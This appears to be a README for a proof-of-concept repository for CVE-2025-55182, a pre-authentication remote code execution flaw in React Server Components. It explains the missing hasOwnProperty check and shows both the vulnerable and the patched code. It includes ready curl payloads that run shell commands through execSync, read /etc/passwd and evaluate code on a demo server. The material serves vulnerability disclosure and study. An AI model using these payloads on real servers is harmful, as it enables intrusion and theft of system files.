
a realistic POC demonstrating the missing `hasOwnProperty` check in [email protected]
A minimal proof of concept demonstrating the critical Remote Code Execution vulnerability in [email protected].
A pre-authentication RCE vulnerability in React Server Components that allows attackers to execute arbitrary code on servers using the vulnerable react-server-dom-webpack package (versions 19.0.0 - 19.2.0).
CVSS Score: 10 (Critical)
react-server-dom-webpack 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-parcel 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-turbopack 19.0.0, 19.1.0, 19.1.1, 19.2.0hasOwnProperty CheckThe vulnerability exists in the requireModule function within React's Flight protocol implementation. This function loads module exports based on metadata received from client requests.
Vulnerable Code ([email protected]):
// packages/react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack.js
export function requireModule<T>(metadata: ClientReference<T>): T {
const moduleExports = __webpack_require__(metadata[ID]);
if (metadata[NAME] === '*') {
return moduleExports;
}
if (metadata[NAME] === '') {
return moduleExports.__esModule ? moduleExports.default : moduleExports;
}
return moduleExports[metadata[NAME]]; // <-- No validation!
}
The problem: metadata[NAME] comes from user input (the HTTP request). An attacker can specify any module and export name, like child_process#execSync.
Patched Code ([email protected]+):
// packages/react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack.js
import hasOwnProperty from 'shared/hasOwnProperty';
export function requireModule<T>(metadata: ClientReference<T>): T {
const moduleExports = __webpack_require__(metadata[ID]);
if (metadata[NAME] === '*') {
return moduleExports;
}
if (metadata[NAME] === '') {
return moduleExports.__esModule ? moduleExports.default : moduleExports;
}
// FIXED: Validate that the export actually exists
if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
return moduleExports[metadata[NAME]];
}
return (undefined: any);
}
The fix adds hasOwnProperty.call() to ensure the requested export is an own property of the module, not inherited from the prototype chain or dynamically resolvable to dangerous modules.
$ACTION_REF_0 and $ACTION_0:0 fields$ACTION_0:0 contains {"id":"child_process#execSync","bound":["whoami"]}decodeAction parses this and calls requireModule with attacker-controlled metadatarequireModule returns require('child_process').execSynccd CVE-2025-55182-realistic-poc/
npm install
npm start
# starts on http://localhost:3000
curl -X POST http://localhost:3000 \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'
Expected Output:
{"success":true,"result":"your-username\n"}
# Read files
curl -X POST http://localhost:3000 \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'
# Execute JavaScript
curl -X POST http://localhost:3000 \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["process.version"]}'
decodeAction FlowHTTP Request
│
▼
┌─────────────────────────────────────────────────────────────┐
│ decodeAction(formData, serverManifest) │
│ - Parses $ACTION_REF_0 to find action reference │
│ - Parses $ACTION_0:0 to get {id, bound} │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ loadServerReference(serverManifest, id, bound) │
│ - id = "child_process#execSync" (attacker controlled) │
│ - bound = ["whoami"] (attacker controlled) │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ resolveServerReference(bundlerConfig, id) │
│ - Splits "child_process#execSync" into: │
│ specifier = "child_process" │
│ name = "execSync" │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ requireModule(metadata) [VULNERABLE] │
│ - Loads require("child_process") │
│ - Returns moduleExports["execSync"] │
│ - NO VALIDATION that "execSync" should be accessible │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ action = execSync.bind(null, "whoami") │
│ result = action() → EXECUTES "whoami" ON SERVER │
└─────────────────────────────────────────────────────────────┘
MIT